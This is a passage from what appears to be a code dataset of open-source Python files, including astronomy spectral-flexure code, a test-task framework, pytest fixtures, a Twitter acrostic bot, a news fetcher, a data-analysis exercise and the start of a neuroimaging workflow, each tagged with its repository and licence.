sky_flux = sobj.BOX_COUNTS_SKY\n\n # Generate 1D spectrum for object\n obj_sky = xspectrum1d.XSpectrum1D.from_tuple((sky_wave, sky_flux))\n\n # Calculate the shift\n fdict = spec_flex_shift(obj_sky, sky_spectrum, sky_lines, mxshft=mxshft)\n punt = False\n if fdict is None:\n msgs.warn(\"Flexure shift calculation failed for this spectrum.\")\n if sv_fdict is not None:\n msgs.warn(\"Will used saved estimate from a previous slit/object\")\n fdict = copy.deepcopy(sv_fdict)\n else:\n # One does not exist yet\n # Save it for later\n return_later_sobjs.append([islit, ss])\n punt = True\n else:\n sv_fdict = copy.deepcopy(fdict)\n\n # Punt?\n if punt:\n break\n\n # Update dict\n for key in ['polyfit', 'shift', 'subpix', 'corr', 'corr_cen', 'smooth', 'arx_spec', 'sky_spec']:\n flex_dict[key].append(fdict[key])\n flex_dict['method'].append(\"boxcar\")\n\n # Check if we need to go back\n # TODO :: This code just throws an error... probably need to delete or fix this \"local\" spectral flexure code\n if not slit_cen:\n # Do we need to go back?\n for items in return_later_sobjs:\n if sv_fdict is None:\n msgs.info(\"No flexure corrections could be made\")\n break\n # Setup\n msgs.error(\"This probably needs to be updated\")\n slit, ss = items\n flex_dict = flex_list[slit]\n sobj = specobjs[ss]\n # Copy me\n fdict = copy.deepcopy(sv_fdict)\n # Update dict\n for key in ['polyfit', 'shift', 'subpix', 'corr', 'corr_cen', 'smooth', 'arx_spec', 'sky_spec']:\n flex_dict[key].append(fdict[key])\n flex_dict['method'].append(\"boxcar\")\n\n # Append, this will be an empty dictionary if the flexure failed\n flex_list.append(flex_dict.copy())\n\n return flex_list\n\n\ndef spec_flexure_corrQA(ax, this_flex_dict, cntr, name):\n # Fit\n fit = this_flex_dict['polyfit'][cntr]\n xval = np.linspace(-10., 10, 100) + this_flex_dict['corr_cen'][cntr] # + flex_dict['shift'][o]\n # model = (fit[2]*(xval**2.))+(fit[1]*xval)+fit[0]\n model = fit.eval(xval)\n # model = utils.func_val(fit, xval, 'polynomial')\n mxmod = np.max(model)\n ylim_min = np.min(model / mxmod) if np.isfinite(np.min(model / mxmod)) else 0.0\n ylim = [ylim_min, 1.3]\n ax.plot(xval - this_flex_dict['corr_cen'][cntr], model / mxmod, 'k-')\n # Measurements\n ax.scatter(this_flex_dict['subpix'][cntr] - this_flex_dict['corr_cen'][cntr],\n this_flex_dict['corr'][cntr] / mxmod, marker='o')\n # Final shift\n ax.plot([this_flex_dict['shift'][cntr]] * 2, ylim, 'g:')\n # Label\n ax.text(0.5, 0.25, name, transform=ax.transAxes, size='large', ha='center')\n ax.text(0.5, 0.15, 'flex_shift = {:g}'.format(this_flex_dict['shift'][cntr]),\n transform=ax.transAxes, size='large', ha='center') # , bbox={'facecolor':'white'})\n # Axes\n ax.set_ylim(ylim)\n ax.set_xlabel('Lag')\n\n\ndef spec_flexure_qa(slitords, bpm, basename, det, flex_list, specobjs=None, out_dir=None):\n \"\"\"\n\n Args:\n slitords (`numpy.ndarray`_):\n Array of slit/order numbers\n bpm (`numpy.ndarray`_):\n True = masked slit\n basename (str):\n det (int):\n flex_list (list):\n specobjs: (:class:`pypeit.specobjs.Specobjs`)\n Spectrally extracted objects\n out_dir:\n\n \"\"\"\n plt.rcdefaults()\n plt.rcParams['font.family'] = 'times new roman'\n\n # What type of QA are we doing\n slit_cen = False\n if specobjs is None: slit_cen = True\n\n # Grab the named of the method\n method = inspect.stack()[0][3]\n\n # Mask\n gdslits = np.where(np.invert(bpm))[0]\n\n # Loop over slits, and then over objects here\n for islit in gdslits:\n # Slit/order number\n slitord = slitords[islit]\n\n # Parse and Setup\n if slit_cen:\n nobj = 1\n ncol = 1\n else:\n indx = specobjs.slitorder_indices(slitord)\n this_specobjs = specobjs[indx]\n nobj = np.sum(indx)\n if nobj == 0:\n continue\n ncol = min(3, nobj)\n this_flex_dict = flex_list[islit]\n\n # Check that the default was overwritten\n if len(this_flex_dict['shift']) == 0:\n continue\n\n nrow = nobj // ncol + ((nobj % ncol) > 0)\n # Outfile, one QA file per slit\n outfile = qa.set_qa_filename(basename, method + '_corr', det=det, slit=slitord, out_dir=out_dir)\n plt.figure(figsize=(8, 5.0))\n plt.clf()\n gs = gridspec.GridSpec(nrow, ncol)\n # TODO -- This cntr is crummy and needs to be replaced by a DataContainer\n # for flex_dict and flex_list\n cntr = 0\n # Correlation QA\n if slit_cen:\n ax = plt.subplot(gs[0, 0])\n spec_flexure_corrQA(ax, this_flex_dict, cntr, 'Slit Center')\n else:\n for specobj in this_specobjs:\n if specobj is None or (specobj.BOX_WAVE is None and specobj.OPT_WAVE is None):\n continue\n ax = plt.subplot(gs[cntr//ncol, cntr % ncol])\n spec_flexure_corrQA(ax, this_flex_dict, cntr, '{:s}'.format(specobj.NAME))\n cntr += 1\n # Finish\n plt.tight_layout(pad=0.2, h_pad=0.0, w_pad=0.0)\n plt.savefig(outfile, dpi=400)\n plt.close()\n\n # Sky line QA (just one object)\n if slit_cen:\n iobj = 0\n else:\n iobj = 0\n specobj = this_specobjs[iobj]\n\n # Repackage\n sky_spec = this_flex_dict['sky_spec'][iobj]\n arx_spec = this_flex_dict['arx_spec'][iobj]\n min_wave = max(np.amin(arx_spec.wavelength.value), np.amin(sky_spec.wavelength.value))*units.AA\n max_wave = min(np.amax(arx_spec.wavelength.value), np.amax(sky_spec.wavelength.value))*units.AA\n\n # Sky lines\n sky_lines = np.array([3370.0, 3914.0, 4046.56, 4358.34, 5577.338, 6300.304,\n 7340.885, 7993.332, 8430.174, 8919.610, 9439.660,\n 10013.99, 10372.88])*units.AA\n dwv = 20.*units.AA\n gdsky = np.where((sky_lines > min_wave) & (sky_lines < max_wave))[0]\n if len(gdsky) == 0:\n msgs.warn(\"No sky lines for Flexure QA\")\n continue\n if len(gdsky) > 6:\n idx = np.array([0, 1, len(gdsky)//2, len(gdsky)//2+1, -2, -1])\n gdsky = gdsky[idx]\n\n # Outfile\n outfile = qa.set_qa_filename(basename, method+'_sky', det=det, slit=slitord, out_dir=out_dir)\n # Figure\n plt.figure(figsize=(8, 5.0))\n plt.clf()\n nrow, ncol = 2, 3\n gs = gridspec.GridSpec(nrow, ncol)\n if slit_cen:\n plt.suptitle('Sky Comparison for Slit Center', y=1.05)\n else:\n plt.suptitle('Sky Comparison for {:s}'.format(specobj.NAME), y=1.05)\n\n for ii, igdsky in enumerate(gdsky):\n skyline = sky_lines[igdsky]\n ax = plt.subplot(gs[ii//ncol, ii % ncol])\n # Norm\n pix1 = np.where(np.abs(sky_spec.wavelength-skyline) < dwv)[0]\n pix2 = np.where(np.abs(arx_spec.wavelength-skyline) < dwv)[0]\n f1 = np.sum(sky_spec.flux[pix1])\n f2 = np.sum(arx_spec.flux[pix2])\n norm = f1/f2\n # Plot\n ax.plot(sky_spec.wavelength[pix1], sky_spec.flux[pix1], 'k-', label='Obj',\n drawstyle='steps-mid')\n ax.plot(arx_spec.wavelength[pix2], arx_spec.flux[pix2]*norm, 'r-', label='Arx',\n drawstyle='steps-mid')\n # Axes\n ax.xaxis.set_major_locator(plt.MultipleLocator(dwv.value))\n ax.set_xlabel('Wavelength')\n ax.set_ylabel('Counts')\n\n # Legend\n plt.legend(loc='upper left', scatterpoints=1, borderpad=0.3,\n handletextpad=0.3, fontsize='small', numpoints=1)\n\n # Finish\n plt.savefig(outfile, dpi=400)\n plt.close()\n msgs.info(\"Wrote spectral flexure QA: {}\".format(outfile))\n #plt.close()\n\n plt.rcdefaults()\n\n\ndef calculate_image_offset(image, im_ref, nfit=3):\n \"\"\"Calculate the x,y offset between two images\n\n Args:\n image (`numpy.ndarray`_):\n Image that we want to measure the shift of (relative to im_ref)\n im_ref (`numpy.ndarray`_):\n Reference image\n nfit (int, optional):\n Number of pixels (left and right of the maximum) to include in\n fitting the peak of the cross correlation.\n\n Returns:\n ra_diff (float):\n Relative shift (in pixels) of image relative to im_ref (x direction).\n In order to align image with im_ref, ra_diff should be added to the\n x-coordinates of image\n dec_diff (float):\n Relative shift (in pixels) of image relative to im_ref (y direction).\n In order to align image with im_ref, dec_diff should be added to the\n y-coordinates of image\n \"\"\"\n # Subtract median (should be close to zero, anyway)\n image -= np.median(image)\n im_ref -= np.median(im_ref)\n\n # cross correlate (note, convolving seems faster)\n ccorr = scipy.signal.correlate2d(im_ref, image, boundary='fill', mode='same')\n #ccorr = scipy.signal.fftconvolve(im_ref, image[::-1, ::-1], mode='same')\n\n # Find the maximum\n amax = np.unravel_index(np.argmax(ccorr), ccorr.shape)\n\n # Perform a 2D Gaussian fit\n x = np.arange(amax[0]-nfit, amax[0] + nfit+1)\n y = np.arange(amax[1]-nfit, amax[1] + nfit+1)\n initial_guess = (np.max(ccorr), amax[0], amax[1], 3, 3, 0, 0)\n xx, yy = np.meshgrid(x, y, indexing='ij')\n\n # Fit the neighborhood of the maximum to calculate the offset\n popt, _ = opt.curve_fit(fitting.twoD_Gaussian, (xx, yy),\n ccorr[amax[0]-nfit:amax[0]+nfit+1, amax[1]-nfit:amax[1]+nfit+1].ravel(),\n p0=initial_guess)\n # Return the RA and DEC shift, in pixels\n return popt[1] - ccorr.shape[0]//2, popt[2] - ccorr.shape[1]//2\n\n", "source": "mcoughlin/PypeIt", "license": "BSD-3-Clause"}
+{"text": "from Task import Task\nfrom Helper import Level\nfrom typing import Dict\nimport re\n\n\nclass PublishFromSource(Task):\n def __init__(self, name, parent, params, logMethod):\n super().__init__(name, parent, params, logMethod, None)\n self.paramRules = {\n 'Pattern': (None, True),\n 'Keys': ([], False),\n 'Path': (None, False), # Mandatory only for PublishFromFile, handled below\n 'VerdictOnMatch': (\"NotSet\", False),\n 'VerdictOnNoMatch': (\"NotSet\", False),\n }\n\n def Run(self):\n self.Log(Level.INFO, f'Running task {self.name} with params: {self.params}')\n\n filePath = self.params[\"Path\"]\n pattern = self.params[\"Pattern\"]\n keys = self.params[\"Keys\"]\n onMatch = self.GetVerdictFromName(self.params[\"VerdictOnMatch\"])\n onNoMatch = self.GetVerdictFromName(self.params[\"VerdictOnNoMatch\"])\n\n self.Log(Level.DEBUG, f\"Looking for pattern: '{pattern}'; Assigning groups as:\")\n\n try:\n for index, key in keys:\n self.Log(Level.DEBUG, f\" {index}: {key}\")\n except Exception as e:\n self.SetVerdictOnError()\n raise RuntimeError(f\"Invalid 'Keys' definition: {e}\")\n\n regex = re.compile(pattern)\n\n matchFound = False\n for line in self.generator({\"Path\": filePath}):\n match = regex.match(line)\n if match:\n self.Log(Level.INFO, f\"Match found: {match.string}\")\n matchFound = True\n for index, key in keys:\n self.Publish(key, match.group(index))\n self.Verdict = onMatch if matchFound else onNoMatch\n\n def generator(self, params: Dict):\n raise NotImplementedError()\n\n def raiseConfigError(self, variable: str):\n self.SetVerdictOnError()\n raise RuntimeError(f\"'{variable}' not defined, please review the Task configuration.\")\n\n\nclass PublishFromPreviousTaskLog(PublishFromSource):\n def __init__(self, logMethod, parent, params):\n super().__init__(\"Publish From Previous Task Log\", parent, params, logMethod)\n\n def generator(self, params: Dict):\n logMessages = self.parent.PreviousTaskLog\n for message in logMessages:\n yield message\n\n\nclass PublishFromFile(PublishFromSource):\n def __init__(self, logMethod, parent, params):\n super().__init__(\"Publish From File\", parent, params, logMethod)\n\n def generator(self, params: Dict):\n filePath = params[\"Path\"]\n if filePath is None:\n self.raiseConfigError(\"Path\")\n with open(filePath, 'r', encoding='utf-8') as file:\n for line in file:\n yield line\n", "source": "EVOLVED-5G/ELCM", "license": "Apache-2.0"}
+{"text": "from setuptools import setup\n\nsetup(\n name='aiogear',\n version='0.2.4rc1',\n author='Sinan Nalkaya',\n author_email='sardok@gmail.com',\n url='https://github.com/sardok/aiogear',\n description='Asynchronous gearman protocol based on asyncio',\n packages=['aiogear'],\n classifiers=[\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ]\n)\n", "source": "agronick/aiogear", "license": "MIT"}
+{"text": "\"\"\"\nA pytest conftest module that provides pytest fixtures for number theoretic functions.\n\"\"\"\nimport os\nimport pickle\n\nimport pytest\nimport numpy as np\n\nFOLDER = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\n\n\n###############################################################################\n# Helper functions\n###############################################################################\n\ndef read_pickle(filename):\n with open(os.path.join(FOLDER, filename), \"rb\") as f:\n print(f\"Loading {f}...\")\n d = pickle.load(f)\n return d\n\n\n###############################################################################\n# Fixtures for integer math functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef egcd():\n return read_pickle(\"egcd.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef lcm():\n return read_pickle(\"lcm.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef prod():\n return read_pickle(\"prod.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef power():\n return read_pickle(\"power.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef crt():\n return read_pickle(\"crt.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef isqrt():\n return read_pickle(\"isqrt.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef iroot():\n return read_pickle(\"iroot.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef ilog():\n return read_pickle(\"ilog.pkl\")\n\n\n###############################################################################\n# Fixtures for Number Theory functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef euler_phi():\n return read_pickle(\"euler_phi.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef carmichael_lambda():\n return read_pickle(\"carmichael_lambda.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_cyclic():\n return read_pickle(\"is_cyclic.pkl\")\n\n\n###############################################################################\n# Fixtures for Number Theory functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef primes():\n return read_pickle(\"primes.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef kth_prime():\n return read_pickle(\"kth_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef prev_prime():\n return read_pickle(\"prev_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef next_prime():\n return read_pickle(\"next_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_prime():\n return read_pickle(\"is_prime.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_prime_power():\n return read_pickle(\"is_prime_power.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_perfect_power():\n return read_pickle(\"is_perfect_power.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_square_free():\n return read_pickle(\"is_square_free.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_smooth():\n return read_pickle(\"is_smooth.pkl\")\n\n\n@pytest.fixture(scope=\"session\")\ndef is_powersmooth():\n return read_pickle(\"is_powersmooth.pkl\")\n", "source": "hussinhassan80/galois", "license": "MIT"}
+{"text": "import random\nimport sqlite3\nimport sys\nimport tweepy\n\nfrom tweepy.streaming import StreamListener\nfrom tweepy import Stream\nfrom tweepy.api import API\n\n\ndef get_config(config_file):\n \"\"\"\n :param config_file: Path to configuration file containing Twitter API keys\n :return: Dictionary of configuration variables, including Twitter API keys\n \"\"\"\n with open(config_file, 'r') as config_stream:\n split_lines = [line.split(\"=\") for line in config_stream.xreadlines()]\n out = {}\n for s in split_lines:\n if len(s) == 2:\n out[s[0].strip()] = s[1].strip()\n return out\n\n\nclass StoreStatusTextListener(StreamListener):\n \"\"\" Records the text of streamed-in statuses in a list field \"\"\"\n \n def __init__(self, api, limit=5):\n self.texts = set()\n self.myLimit = limit\n self.api = api or API()\n\n def on_status(self, status):\n self.texts.add(status.text)\n return len(self.texts) < self.myLimit\n\n def on_error(self, status):\n print \"error\", status\n\n\ndef subseqs(s):\n for a in xrange(len(s)):\n for b in xrange(a+1, len(s)+1):\n yield s[a:b]\n\n\ndef first_char(word):\n if len(word) == 0:\n return ''\n if len(word) == 1:\n return word\n if word[0] == \"#\":\n return word[1]\n return word[0]\n\n\ndef get_ngrams(text):\n clean_words = [w.strip(\"\"\"./?<>!,:;-+&*\"'\"\"\") for w\n in text.lower().split()]\n clean_nonempty_words = [cw for cw in clean_words if len(cw) > 0]\n return subseqs(clean_nonempty_words)\n\n\ndef initials(words):\n first_chars = [first_char(word).lower() for word in words if len(word) > 0]\n return \"\".join(first_chars)\n\n\ndef scrape_twitter(acrostic, api, dbpath):\n \n sub_acros = set(subseqs(acrostic))\n acros_n = len(acrostic)\n \n l = StoreStatusTextListener(api, limit=10000)\n try:\n stream = Stream(auth, l, timeout=5.0)\n stream.filter(track=(\"a\", \"of\", \"the\", \"it\", \"i\"), languages=(\"en\",))\n except:\n print \"Problem after\", len(l.texts)\n \n print len(l.texts), \"tweets scraped\"\n with sqlite3.connect(dbpath+\"/acrostician.db\") as conn:\n cur = conn.cursor()\n\n for n in xrange(1, acros_n+1):\n s = str(n)\n cur.execute(\"create table if not exists GRAM_\" + s +\n \" (Term text, Initials text, Count integer, \"\n \"Used integer);\")\n cur.execute(\"create unique index if not exists IDX_TERM_GRAM_\" + s +\n \" on GRAM_\"+s+\" (Term);\")\n cur.execute(\"create index if not exists IDX_INIT_GRAM_\" + s +\n \" on GRAM_\"+s+\" (Initials);\")\n conn.commit()\n\n ngram_counts = {}\n for text in l.texts:\n ngrams = [s for s in get_ngrams(text) if initials(s) in sub_acros]\n for n in ngrams:\n term = \" \".join(n)\n if \"http\" in term.lower() or acrostic in term.lower():\n continue\n ngram_counts[term] = ngram_counts.get(term, 0) + 1\n i = 1\n for term in ngram_counts:\n n = term.split()\n inits = initials(n)\n cur.execute(\"select Count from GRAM_\" + str(len(n)) +\n \" where Term=:term\", {\"term\": term})\n results = cur.fetchall()\n if len(results) == 0:\n count = ngram_counts[term]\n cur.execute(\"insert into GRAM_\" + str(len(n)) +\n \" values (?,?,?,1)\", (term, inits, count))\n else:\n count = ngram_counts[term] + results[0][0]\n cur.execute(\"update GRAM_\" + str(len(n)) +\n \" set Count=? where Term=?\", (count, term))\n if i % 100 == 0:\n conn.commit()\n i += 1\n conn.commit()\n\n\ndef capitalize_tweet(tw):\n sp_tw = tw.split()\n out = []\n for w in sp_tw:\n if w[0] == \"#\":\n x = \"#\"+w[1:].capitalize()\n else:\n x = w.capitalize()\n out.append(x)\n return \"\\n\".join(out)\n\n\ndef score_tup(t):\n \"\"\"\n Score an ngram tuple returned from a database ngram table. A higher scoring\n term is more deserving of inclusion in the resulting acrostic\n :param t: (Term string, initials string, Corpus count, Used count)\n :return: Fitness score for this term\n \"\"\"\n term = t[0]\n inits = t[1]\n pop = t[2]\n used = t[3]\n raw = (len(term)*pop/(10*used*used*used))**(len(inits))\n if \"#\" in term:\n score = 2*raw\n else:\n score = raw\n return max(score, 1)\n\n\ndef post_tweet(target, api, dbpath, test_only=False):\n target_len = len(target)\n with sqlite3.connect(dbpath+\"/acrostician.db\") as conn:\n\n print target\n cur = conn.cursor()\n\n cur.execute(\"create table if not exists TWEETED (Tweet text)\")\n cur.execute(\"create unique index if not exists IDX_TEXT \"\n \"on TWEETED(Tweet)\")\n\n not_yet_posted = True\n tries = 100\n\n while not_yet_posted and tries > 0:\n tweet = \"\"\n tweet_word_count = len([t for t in tweet.split() if len(t) > 0])\n while tweet_word_count < target_len:\n desired_inits = target[tweet_word_count:target_len]\n\n words_left = target_len - tweet_word_count\n options = []\n while len(options) < 200 and words_left > 0:\n cur.execute(\"select Term, Initials, Count, Used \"\n \"from GRAM_\" + str(words_left) +\n \" where Initials=? order by \" +\n \"random() limit 200\",\n (desired_inits[:words_left],))\n for tup in cur.fetchall():\n if target not in tup[0]:\n options.append(tup)\n words_left -= 1\n if len(options) == 0:\n print \"No options left\", tweet, desired_inits\n raise RuntimeError\n total_count = int(sum([score_tup(o) for o in options]))\n\n r = random.randint(1, total_count)\n i = 0\n while i < len(options):\n r = r - score_tup(options[i])\n if r <= 0:\n break\n i += 1\n if r > 0:\n new_word = options[-1][0]\n else:\n new_word = options[i][0]\n tweet = tweet + \"\\n\"+new_word\n tweet_word_count = len([t for t in tweet.split() if len(t) > 0])\n\n cap_tweet = capitalize_tweet(tweet)\n length_check = len(cap_tweet) < 141 # Check the length's okay\n\n dupe_check = True # Assume it's not a dupe...\n for _ in cur.execute(\"select Tweet from TWEETED where Tweet = ?\",\n (cap_tweet.lower(),)):\n print \"Duplicate... trying again\"\n dupe_check = False # But if it is, don't post it\n break\n\n if length_check and dupe_check:\n # Post the poem\n try:\n print cap_tweet\n except:\n print \"[Trouble printing tweet]\"\n api.update_status(cap_tweet)\n not_yet_posted = False\n\n # Update the used counts for this poem's ngrams\n selected_ngrams = get_ngrams(tweet)\n for ngram in selected_ngrams:\n n = len(ngram)\n inits = initials(ngram)\n term = \" \".join(ngram)\n cur.execute(\"select Used from GRAM_\"+str(n) +\n \" where Term = ?\", (term,))\n rows = cur.fetchall()\n for tup in rows: # Should just be a single row...\n used_count = tup[0]\n cur.execute(\"update GRAM_\"+str(n)+\" set Used = ? \" +\n \"where Term = ?\", (used_count+1, term))\n if len(rows) == 0:\n cur.execute(\"insert into GRAM_\" + str(n) +\n \" values (?,?,1,1)\", (term, inits))\n if test_only:\n print \"usage update for\", term, inits\n # Add the tweet to our list of already-posted\n cur.execute(\"insert into TWEETED values (?)\",\n (cap_tweet.lower(),))\n conn.commit()\n\n tries -= 1\n print tries, \"tries left\"\n\n\ndef usage():\n print (\"Usage: python acrosticBot.py [config file] \"\n \"[acrostic word] [read or write]\")\n\nif __name__ == \"__main__\":\n if not (len(sys.argv) == 4 or len(sys.argv) == 5):\n usage()\n sys.exit(0)\n\n config = get_config(sys.argv[1])\n ckey = config[\"CONSUMER_KEY\"]\n csec = config[\"CONSUMER_SECRET\"]\n akey = config[\"ACCESS_KEY\"]\n asec = config[\"ACCESS_SECRET\"]\n worddb = config[\"NGRAM_DB_PATH\"]\n\n auth = tweepy.OAuthHandler(ckey, csec)\n auth.set_access_token(akey, asec)\n configapi = tweepy.API(auth)\n testmode = \"test\" in sys.argv\n\n if random.randint(1, 69) == 69:\n targetWord = \"benghazi\"\n else:\n targetWord = sys.argv[2].lower().split()[0]\n\n if sys.argv[3] == 'read':\n scrape_twitter(targetWord, configapi, worddb)\n elif sys.argv[3] == 'write':\n post_tweet(targetWord, configapi, worddb, testmode)\n elif sys.argv[3] == 'both':\n scrape_twitter(targetWord, configapi, worddb)\n post_tweet(targetWord, configapi, worddb, testmode)\n else:\n usage()\n", "source": "bgawalt/acrostician", "license": "Apache-2.0"}
+{"text": "#! /usr/bin/env python\n\nimport sys\n\nif sys.version_info[0] == 2:\n from .avro_py2 import schema\n from .avro_py2 import io\n from .avro_py2 import protocol\n from .avro_py2 import ipc\n from .avro_py2 import datafile\n from .avro_py2 import tool\n #from .avro_py2 import txipc\nelse:\n from .avro_py3 import schema\n from .avro_py3 import io\n from .avro_py3 import protocol\n from .avro_py3 import ipc\n from .avro_py3 import datafile\n from .avro_py3 import tool\n #from .avro_py3 import txipc\n", "source": "kineticadb/kinetica-api-python", "license": "MIT"}
+{"text": "# --------------\n#Header files\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n#path of the data file- path\r\ndata = pd.read_csv(path)\r\n# print(data.head())\r\n\r\n#Code starts here \r\n\r\ndata['Gender'].replace('-','Agender',inplace=True)\r\ngender_count = data['Gender'].value_counts()\r\n\r\ngender_count.plot(kind='bar')\r\nplt.show()\r\n\n\n\n# --------------\n#Code starts here\r\n\r\nalignment = data.Alignment.value_counts()\r\nprint(alignment)\r\n\r\nplt.pie(alignment, labels=list(data.Alignment.unique()))\r\nplt.title('Character Alignment')\r\nplt.show()\n\n\n# --------------\n#Code starts here\r\n\r\nsc_df = data[['Strength','Combat']]\r\n# print(sc_df)\r\nsc_covariance = sc_df.cov().iloc[0,1]\r\n# print(sc_covariance)\r\nsc_strength = data['Strength'].std()\r\nsc_combat = data['Combat'].std()\r\nsc_pearson = sc_covariance/(sc_strength*sc_combat)\r\nprint(sc_pearson)\r\n\r\nic_df = data[['Intelligence','Combat']]\r\nic_covariance = ic_df.cov().iloc[0,1]\r\n# print(ic_covariance)\r\nic_intelligence = data['Intelligence'].std()\r\nic_combat = data['Combat'].std()\r\nic_pearson = ic_covariance/(ic_intelligence*ic_combat)\r\nprint(ic_pearson)\n\n\n# --------------\n#Code starts here\n\ntotal_high = data.Total.quantile(0.99)\nprint(total_high)\n\nsuper_best = data[data.Total > total_high]\n\nsuper_best_names = list(super_best.Name)\nprint(super_best_names)\n\n\n# --------------\n#Code starts here\n \nfig, (ax_1, ax_2, ax_3) = plt.subplots(3)\nax_1.boxplot(data.Intelligence,vert=False)\nax_1.set_title('Intelligence')\n\nax_2.boxplot(data.Speed,vert=False)\nax_2.set_title('Speed')\n\nax_3.boxplot(data.Power,vert=False)\nax_3.set_title('Power')\n\n\nplt.show()\n\n\n\n", "source": "aniket1899/ga-learner-dsmp-repo", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\nimport redis\nimport os\nimport sys\nimport hashlib\nimport datetime\nimport yaml\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'utils'))\nfrom cloudAMQP_client import CloudAMQPClient\nimport news_api_client\n\n# Read configuration file\nwith open(\"../config.yml\", 'r') as ymlfile:\n config = yaml.load(ymlfile)\n\nREDIS_HOST = 'localhost'\nREDIS_PORT = 6378\nAMQP_URL = config['AMQP_URL']\nSCRAPE_NEWS_QUEUE_NAME = 'top-news-scrape-news-queue'\n\nNEWS_TIME_OUT_IN_SECONDS = 3600 * 24\nSLEEP_TIME_OUT_IN_SECONDS = 10\n\nNEWS_SOURCE = [\n 'the-new-york-times'\n]\n\n# Connect redis\nredis_client = redis.Redis(host = REDIS_HOST,\n port = REDIS_PORT)\n\n# Connect CloudAMQP\ncloudAMQP_client = CloudAMQPClient(AMQP_URL, SCRAPE_NEWS_QUEUE_NAME)\n\nwhile True:\n # GET NEWS API \u7684 news\n articles = news_api_client.getNewsFromSource(NEWS_SOURCE)\n # count how many new news need to be saved\n num_of_new_news = 0\n for article in articles:\n # encoding title, store it into redis as the key\n article_digest = hashlib.md5(article['title'].encode('utf-8')).digest().encode('base64')\n # check whether redis already have it, if not, then store it into redis and send it to CloudAMQP QUEUE\n if redis_client.get(article_digest) is None:\n num_of_new_news = num_of_new_news + 1\n article['digest'] = article_digest\n # in case there is no this field, then add current time\n if article['publishedAt'] is None:\n article['publishedAt'] = datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n # insert into redis and set expiration time\n redis_client.set(article_digest, article)\n redis_client.expire(article_digest, NEWS_TIME_OUT_IN_SECONDS)\n # send this new news into Message Queue\n cloudAMQP_client.sendMessage(article)\n\n print \"Fetched %d new news.\" % num_of_new_news\n # sleep a constant time and go to the next news API call\n cloudAMQP_client.sleep(SLEEP_TIME_OUT_IN_SECONDS)\n", "source": "XinliWang/NewsCrawler", "license": "MIT"}
+{"text": "def slt_workflow(slicetiming_txt=\"alt+z\",SinkTag=\"func_preproc\",wf_name=\"slicetiming_correction\"):\n\n \"\"\"\n Modified version of porcupine generated slicetiming code:\n\n `source: -`\n\n\n Creates a slice time corrected functional image.\n\n Workflow inputs:\n :param func: The reoriented functional file.\n :param SinkDir:\n :param SinkTag: The output directory in which the returned images (see workflow outputs) could be found in a subdirectory directory specific for this workflow.\n\n Workflow outputs:\n\n\n\n\n :return: slt_workflow - workflow\n\n\n\n\n Balint Kincses\n kincses.balint@med.u-szeged.hu\n 2018\n\n\n \"\"\"\n\n\n\n # This is a Nipype generator. Warning, here be dragons.\n # !/usr/bin/env python\n\n import sys\n import os\n import nipype\n import nipype.pipeline as pe\n import nipype.interfaces.utility as utility\n import PUMI.func_preproc.info.info_get as info_get\n import PUMI.utils.utils_convert as utils_convert\n import nipype.interfaces.afni as afni\n import PUMI.utils.globals as globals\n\n SinkDir = os.path.abspath(globals._SinkDir_ + \"/\" + SinkTag)\n if not os.path.exists(SinkDir):\n os.makedirs(SinkDir)\n\n # Basic interface class generates identity mappings\n inputspec = pe.Node(utility.IdentityInterface(fields=['func',\n 'slicetiming_txt']),\n name='inputspec')\n inputspec.inputs.func = func\n inputspec.inputs.slicetiming_txt = slicetiming_txt\n\n # Custom interface wrapping function TR\n #NodeHash_6000004b9860 = pe.MapNode(interface=info_get.TR, name='NodeName_6000004b9860', iterfield=['in_file'])\n TRvalue = pe.Node(interface=info_get.TR,\n name='TRvalue')\n\n # Custom interface wrapping function Str2Float\n func_str2float = pe.Node(interface=utils_convert.Str2Float,\n name='func_str2float')\n\n # Custom interface wrapping function Float2Str\n func_str2float_2 = pe.Node(interface=utils_convert.Float2Str,\n name='func_str2float_2')\n\n # Wraps command **3dTshift**\n sltcor = pe.Node(interface=afni.TShift(),\n name='sltcor')\n sltcor.inputs.rltplus = True\n sltcor.inputs.outputtype = \"NIFTI_GZ\"\n #sltcor.inputs.terminal_output = 'allatonce'\n\n # Basic interface class generates identity mappings\n outputspec = pe.Node(utility.IdentityInterface(fields=['slicetimed', 'TR']),\n name='outputspec')\n\n #todo: qc timeseries\n\n # Custom interface wrapping function JoinVal2Dict\n #func_joinval2dict = pe.Node(interface=utils_convert.JoinVal2Dict,\n # name='func_joinval2dict')\n\n # Generic datasink module to store structured outputs\n ds = pe.Node(interface=io.DataSink(),\n name='ds')\n ds.inputs.base_directory = SinkDir\n #ds.inputs.regexp_substitutions = [(\"func_slicetimed/_NodeName_.{13}\", \"\")]\n\n\n\n\n\n # Create a workflow to connect all those nodes\n analysisflow = nipype.Workflow(wf_name)\n analysisflow.connect(inputspec, 'slicetiming_txt', sltcor, 'tpattern')\n analysisflow.connect(func_str2float, 'float', outputspec, 'TR')\n 